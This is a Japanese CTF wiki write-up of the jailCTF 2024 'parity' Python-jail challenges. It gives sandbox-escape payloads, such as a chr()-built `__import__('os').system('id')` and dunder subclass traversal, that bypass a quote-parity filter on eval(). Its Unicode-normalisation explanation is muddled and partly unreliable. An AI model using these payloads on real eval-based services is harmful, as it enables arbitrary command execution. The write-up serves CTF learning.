pyjail wiki

jailCTF 2024 - parity 1/2

Challenge

parity-1

クォートの数が偶数でなければならない。

code = input()
if code.count('"') % 2 != 0 or code.count("'") % 2 != 0:
print("Parity error!")
exit()
eval(code)

parity-2

さらに追加の制限あり。

Solution

parity-1 解法

クォートを偶数個使用してペイロードを構築:

# 文字列を使わずに属性アクセス
().__class__.__bases__[0].__subclasses__()
# chr() で文字列を構築
__import__(chr(111)+chr(115)).system(chr(105)+chr(100))

parity-2 解法

Unicode 文字を使用してフィルタをバイパス:

# 全角クォートは通常のクォートとしてカウントされない
eval(input())

Unicode正規化の利用

# NFKC 正規化される文字
'abc' # → 'abc' として認識

Technical Details

Pythonの識別子はNFKC正規化される:

import unicodedata
unicodedata.normalize('NFKC', 'eval') # 'eval'

これにより、全角文字やその他のUnicode文字を使用してフィルタをバイパスできる。

Flag

jail{...}

References

  • jailCTF 2024 Official
  • PEP 3131 (Python Unicode Identifiers)